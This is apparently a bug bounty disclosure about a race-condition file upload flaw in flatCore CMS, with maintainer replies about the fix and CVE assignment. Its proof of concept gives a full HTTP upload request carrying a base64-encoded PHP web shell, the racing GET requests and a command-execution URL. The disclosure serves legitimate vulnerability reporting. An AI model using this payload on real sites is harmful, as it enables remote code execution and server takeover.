Unrestricted Upload of File with Dangerous Type in flatcore/flatcore-cms

Valid

Reported on

Oct 13th 2021


Title: race condition vs Temporary File Upload

Description

flatCore-CMS is vulnerable to Race condition while dealing uploading gallery Codes at https://github.com/flatCore/flatCore-CMS/blob/main/acp/core/files.upload_gallery.php#L31

if(array_key_exists('file',$_FILES) && $_FILES['file']['error'] == 0 ){
    $tmp_name = $_FILES["file"]["tmp_name"];
    $timestring = microtime(true);
          
    $suffix = strrchr($_FILES["file"]["name"],".");
    $org_name = $timestring . $suffix;
    $img_name = $timestring."_img.jpg";
    $tmb_name = $timestring."_tmb.jpg";
        
    if(move_uploaded_file($tmp_name, "$uploads_dir/$org_name")) { //【1】our PHP file has been uploaded!
        create_thumbs($uploads_dir,$org_name,$img_name, $max_width,$max_height,90);
        create_thumbs($uploads_dir,$img_name,$tmb_name, $max_width_tmb,$max_height_tmb,80);
        unlink("$uploads_dir/$org_name"); // 【2】But was unlink after a while...
        print ('Uploaded');
    }
}

So we could use parallel request tools,such as Burp Suite Intruder to exploit it, automately.

image

Proof of Concept

Firstly, an attacker could do lots of request, as

1

// #1 HTTP request
POST /acp/core/files.upload_gallery.php HTTP/1.1
Host: flatcore
Content-Length: 4361
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN9xFk8EMA5iTZnL0
Origin: http://flatcore
Referer: http://flatcore/acp/acp.php?tn=filebrowser&sub=browse
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.
Cookie: acptheme=dark; identifier=EnNEM4kvqbEvutxAb2QVZTjL; securitytoken=49593ab95703dd857048f19695fd95c2d3535486; PHPSESSID=mjtavnv285s6moa6n2n26cf1iq
Connection: close

------WebKitFormBoundaryN9xFk8EMA5iTZnL0
Content-Disposition: form-data; name="csrf_token"

64da9729f086b0072f4888bc8ff12f42
------WebKitFormBoundaryN9xFk8EMA5iTZnL0
Content-Disposition: form-data; name="file"; filename="1337.php"
Content-Type: text/plain


<?php 
file_put_contents("./shell.php", base64_decode("PD9waHAgcGhwaW5mbygpOyAKc3lzdGVtKCRfR0VUW3B3bl0pOwo/Pg=="));
?>
------WebKitFormBoundaryN9xFk8EMA5iTZnL0--

2

At the same time, the attacker must GET the temporary PHP file continuously, as

GET /content/galleries/2021/gallery350/[microtime].php HTTP/1.1
Host: flatcore

microtime(true) stands for data like 1634147952.6662

If brute force succeed, the shell.php will appear in content\galleries\2021\gallery350\shell.php

http://[FlatCore]/content/galleries/2021/gallery350/shell.php?pwn=whoami

Impact

This vulnerability is capable of remote code execution with admin privileges

We have contacted a member of the flatcore/flatcore-cms team and are waiting to hear back 2 years ago
Patrick validated this vulnerability 2 years ago
hi-unc1e has been awarded the disclosure bounty
The fix bounty is now up for grabs
Patrick
2 years ago

Maintainer


Hey @hi-uncle, Thanks for your tips, I have integrated them.

Patrick marked this as fixed with commit 5cc393 2 years ago
Patrick has been awarded the fix bounty
hi-unc1e
2 years ago

Researcher


Thanks, this patch is valid, by checking the suffix. And a 3-bit random_int is good as well.

hi-unc1e
2 years ago

Researcher


@admin, can you assign a CVE for this issue? THANKS

Jamie Slome
2 years ago

Sure! 🙌

@maintainer - can you please confirm that you are happy for a CVE to be published here?

Patrick
2 years ago

Maintainer


Should i be happy? Sorry, that's all new for me. But yes, of course! I'm glad hi-uncle reported the bug, so you can publish a CVE.

hi-unc1e
2 years ago

Researcher


Nice to hear that from @Patrick, would @admin make assignment?

Jamie Slome
2 years ago

CVE published!

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